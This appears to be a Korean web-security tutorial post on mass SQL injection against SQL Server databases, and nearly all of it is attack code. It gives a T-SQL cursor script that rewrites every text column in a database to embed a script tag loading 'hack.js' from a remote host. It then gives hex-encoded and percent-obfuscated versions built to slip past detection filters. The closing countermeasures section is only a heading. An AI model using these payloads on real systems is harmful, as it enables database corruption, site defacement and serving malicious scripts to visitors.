[WebSec] Mass SQL Injection

Mass SQL Injection

*Mass : 대량

[WebSec] Mass SQL Injection 실습

 

Mass SQL Injection Query 예제

-- Table_name, Column_name 을 위한 변수선언
declare @t varchar(1000), @c varchar(1000)

-- Cursor 변수 선언 및 정의
declare cur cursor for
select table_name, column_name from information_schema.columnsWhere data_type like ‘%varchar%’ or data_type like ‘%text%’

-- Cursor open
open cur

-- 결과를 하나의 Row 단위로 선언된 변수에 저장
FETCH NEXT from cur into @t, @c

[WebSec] Mass SQL Injection 실습 - Cursor

 

-- 시스템함수를 이용하여 Cursor 가 가리키는 곳의 데이터 유무 파악
-- @@FETCH_STATUS 결과 0:데이터 존재 / 0 이외의 값: 데이터 없음While @@FETCH_STATUS = 0
Begin

-- Exec 를 통해 변수를 이용한 Update 수행
exec(‘update ’+@t+‘ set ’+@c+‘=“<script src=http://IP/hack.js></script>”’)

-- Cursor 위치 Next Row 이동
fetch next from cur into @t, @c
end

-- Cursor 메모리 해제
close cur
deallocate cur

[WebSec] Mass SQL Injection 실습 - Cursor 02

 

Hex Encoding 을 이용한 탐지우회기법

[WebSec] Mass SQL Injection 실습 - Hex Encoding

 

Percent(%) 를 이용한 탐지우회기법

dec%lare @all varc%har(4000); set @all=0x6465636c61726520407420766172636861722831303030292c20406320766172636861722831303030290d0a6465636c6172652063757220637572736f7220666f720d0a73656c656374207461626c655f6e616d652c20636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e730d0a776865726520646174615f74797065206c696b65202725766172636861722527206f7220646174615f74797065206c696b652027257465787425270d0a6f70656e206375720d0a6665746368206e6578742066726f6d2063757220696e746f2040742c2040630d0a7768696c6520404066657463685f737461747573203d20300d0a2020626567696e0d0a202020206578656328277570646174652027202b204074202b2027207365742027202b204063202b20273d27273c7363726970743e616c657274282278737322293b3c2f7363726970743e272727290d0a202020206665746368206e6578742066726f6d2063757220696e746f2040742c40630d0a2020656e640d0a636c6f7365206375720d0a6465616c6c6f6361746520637572;e%xec(@all)

 

Mass SQL Injection 대응방안

[WebSec] Mass SQL Injection 대응방안